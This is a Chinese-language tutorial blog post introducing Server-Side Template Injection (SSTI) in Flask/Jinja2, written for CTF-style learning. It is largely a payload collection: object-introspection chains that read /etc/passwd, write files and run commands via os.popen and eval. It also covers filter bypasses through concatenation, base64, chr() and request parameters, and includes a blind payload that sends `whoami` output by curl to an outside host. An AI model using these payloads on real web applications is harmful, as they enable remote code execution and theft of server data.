SSTI入门详解

SSTI入门详解关于基于 flask 的 SSTI 漏洞的阶段学习小结 SSTI 的理解 SSTI 和 SQL 注入原理差不多 都是因为对输入的字符串控制不足 把输入的字符串当成命令执行 SSTI 引发的真正原因 render template 渲染函数的问题 render template 渲染函数是什么 就是把 HTML 涉及的页面与用户数据分离开 这样方便展示和管理 当用户输入自己的数据信息 HTML 页面可以根据用户自身的信息来展示页面 因此才有了这个函数的使用

关于基于flask的SSTI漏洞的阶段学习小结:

SSTI的理解:

SSTI和SQL注入原理差不多,都是因为对输入的字符串控制不足,把输入的字符串当成命令执行。

SSTI引发的真正原因:

render_template渲染函数的问题

render_template渲染函数是什么:

就是把HTML涉及的页面与用户数据分离开,这样方便展示和管理。当用户输入自己的数据信息,HTML页面可以根据用户自身的信息来展示页面,因此才有了这个函数的使用。

render_template:

注入的思想:

用函数不断调用我们要使用的命令如:file、read、open、ls等等命令,我们用这些来读取写入配置文件;

playload 娓娓道来:

魔术对象:

__class__ :返回类型所属的对象 __mro__ :返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。 __base__ "返回该对象所继承的基类 // __base__和__mro__都是用来寻找基类的 __subclasses__ 获取当前类的所有子类 __init__ 类的初始化方法 __globals__ 对包含(保存)函数全局变量的字典的引用 

用魔术对象构造一个简单的语句:

我们在里面运行以下:

>>> [].__class__ 
  
    >>> [].__class__.__base__ 
   
     >>> [].__class__.__base__.__subclasses__() >>> [].__class__.__base__.__subclasses__()[2] 
    
      >>> 
     
    
  

如何调用这些子类:

>>> [].__class__.__base__.__subclasses__()[2] 
  
    >>> [].__class__.__base__.__subclasses__()[3] 
   
     >>> [].__class__.__base__.__subclasses__()[40] 
     
     
    
  
[].__class__.__base__.__subclasses__()[40]('fl4g').read() 

但是如果我们想要去获取目录等等,就需要用到system函数:读取目录一般是ls函数,那么我们来看看如何调用

!/usr/bin/env python encoding: utf-8 num = 0 for item in ''.__class__.__mro__[2].__subclasses__(): try: if 'os' in item.__init__.__globals__: print num,item num+=1 except: print '-' num+=1 

得到类中OS模块的函数(71)

().__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].system('ls') (os.listdir():列出第一层目录文件 因为71是os库的函数,所以globals是对该函数字典的引用,所以我们这下就拿到了字典,然后紧接着就是我们要使用的命令。) 

有时候system函数会被过滤掉,我们就使用

().__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].listdir('.') #读取本级目录 

dir()与__dict__:

常见的playload:

获得基类 #python2.7 ''.__class__.__mro__[2] {}.__class__.__bases__[0] ().__class__.__bases__[0] [].__class__.__bases__[0] request.__class__.__mro__[1] #python3.7 ''.__。。。class__.__mro__[1] {}.__class__.__bases__[0] ().__class__.__bases__[0] [].__class__.__bases__[0] request.__class__.__mro__[1] #python 2.7 #文件操作 #找到file类 [].__class__.__bases__[0].__subclasses__()[40] #读文件 [].__class__.__bases__[0].__subclasses__()[40]('/etc/passwd').read() #写文件 [].__class__.__bases__[0].__subclasses__()[40]('/tmp').write('test') #命令执行 #os执行 [].__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.linecache下有os类,可以直接执行命令: [].__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.linecache.os.popen('id').read() #eval,impoer等全局函数 [].__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__下有eval,__import__等的全局函数,可以利用此来执行命令: [].__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('id').read()") [].__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__.eval("__import__('os').popen('id').read()") [].__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__.__import__('os').popen('id').read() [].__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('os').popen('id').read() #python3.7 #命令执行 {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{ 
  { c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('id').read()") }}{% endif %}{% endfor %} #文件操作 {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{ 
  { c.__init__.__globals__['__builtins__'].open('filename', 'r').read() }}{% endif %}{% endfor %} #windows下的os命令 "".__class__.__bases__[0].__subclasses__()[118].__init__.__globals__['popen']('dir').read() 

常见的命令执行方式:

os.system():

init__globals[‘os’].system(‘ls’)的输出是执行结果的返回值,而不是执行命令的输出,成功执行返回0,失败返回-1,因为输出结果不明显,所以我们也会用到下面这个命令:

os.popen():

缺点:Popen非常强大,支持多种参数和模式,通过其构造函数可以看到支持很多参数。但Popen函数存在缺陷在于,它是一个阻塞的方法,如果运行cmd命令时产生内容非常多,函数就容易阻塞。另一点,Popen方法也不会打印出cmd的执行信息

warnings.catchwarning:

访问os模块还有从warnings.catchwarnings模块入手的,而这两个模块分别位于元组中的59,60号元素。__init__方法用于将对象实例化,在这个函数下我们可以通过funcglobals(或者__globals)看该模块下有哪些globals函数(注意返回的是字典),而linecache可用于读取任意一个文件的某一行,而这个函数引用了os模块。

于是还可以挖掘到类似payload(注意payload都不是直接套用的,不同环境请自行测试)

 [].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__['os'].system('ls') [].__class__.__base__.__subclasses__()[59].__init__.func_globals['linecache'].__dict__.values()[12].system('ls') 

values:

#!/usr/bin/python dict = {'Name': 'Zara', 'Age': 7} print "Value : %s" % dict.values() 以上实例输出结果为: Value : [7, 'Zara'] 

__builtins__内建函数:

'.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls").read()') ''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__.values()[13]['eval']('__import__("os").popen("ls").read()') 这两个payload用的是同一个模块,__builtins__模块,eval方法. [].__class__.__base__.__subclasses__()[59].__init__.func_globals['linecache'].__dict__.values()[12].popen('ls').read() 

但是经常会被ban

绕过:

拼接

object.__subclasses__()[59].__init__.func_globals['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('ls') ().__class__.__bases__[0].__subclasses__()[40]('r','fla'+'g.txt')).read() 

编码

 ().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['eval']("__import__('os').popen('ls').read()") 等价于 ().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['ZXZhbA=='.decode('base64')]("X19pbXBvcnRfXygnb3MnKS5wb3BlbignbHMnKS5yZWFkKCk=".decode('base64'))(可以看出单双引号内的都可以编码) 同理还可以进行rot13、16进制编码等 

过滤中括号[]

getitem() "".__class__.__mro__[2] "".__class__.__mro__.__getitem__(2) pop() ''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/etc/passwd').read() 字典读取 __builtins__['eval']() __builtins__.eval() 经过测试这种方法在python解释器里不能执行,但是在测试的题目环境下可以执行 

过滤引号

先获取chr函数,赋值给chr,后面拼接字符串 {% set chr=().__class__.__bases__.__getitem__(0).__subclasses__()[59].__init__.__globals__.__builtins__.chr %}{ 
  { ().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(chr(47)%2bchr(101)%2bchr(116)%2bchr(99)%2bchr(47)%2bchr(112)%2bchr(97)%2bchr(115)%2bchr(115)%2bchr(119)%2bchr(100)).read() }} 或者借助request对象:(这种方法在沙盒种不行,在web下才行,因为需要传参) { 
  { ().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(request.args.path).read() }}&path=/etc/passwd PS:将其中的request.args改为request.values则利用post的方式进行传参 执行命令: {% set chr=().__class__.__bases__.__getitem__(0).__subclasses__()[59].__init__.__globals__.__builtins__.chr %}{ 
  { ().__class__.__bases__.__getitem__(0).__subclasses__().pop(59).__init__.func_globals.linecache.os.popen(chr(105)%2bchr(100)).read() }} { 
  { ().__class__.__bases__.__getitem__(0).__subclasses__().pop(59).__init__.func_globals.linecache.os.popen(request.args.cmd).read() }}&cmd=id 

过滤双下划线__

 { 
  { ''[request.args.class][request.args.mro][2][request.args.subclasses]()[40]('/etc/passwd').read() }}&class=__class__&mro=__mro__&subclasses=__subclasses__ 

过滤{
{

{% if ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('curl http://xx.xxx.xx.xx:8080/?i=`whoami`').read()=='p' %}1{% endif %} 

在URL执行py命令格式:

{%这是内容%}

eg: {% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__=='file' %} { 
  { c("/etc/passwd").readlines() }} {% endif %} {% endfor %} 

看到这里如果学有余力,可以看一看SSTI进阶部分 文章

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请联系我们举报,一经查实,本站将立刻删除。

发布者:全栈程序员-站长,转载请注明出处:https://javaforall.net/178081.html原文链接:https://javaforall.net

(0)
上一篇 2026年3月26日 下午6:04
下一篇 2026年3月26日 下午6:04


相关推荐

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注全栈程序员社区公众号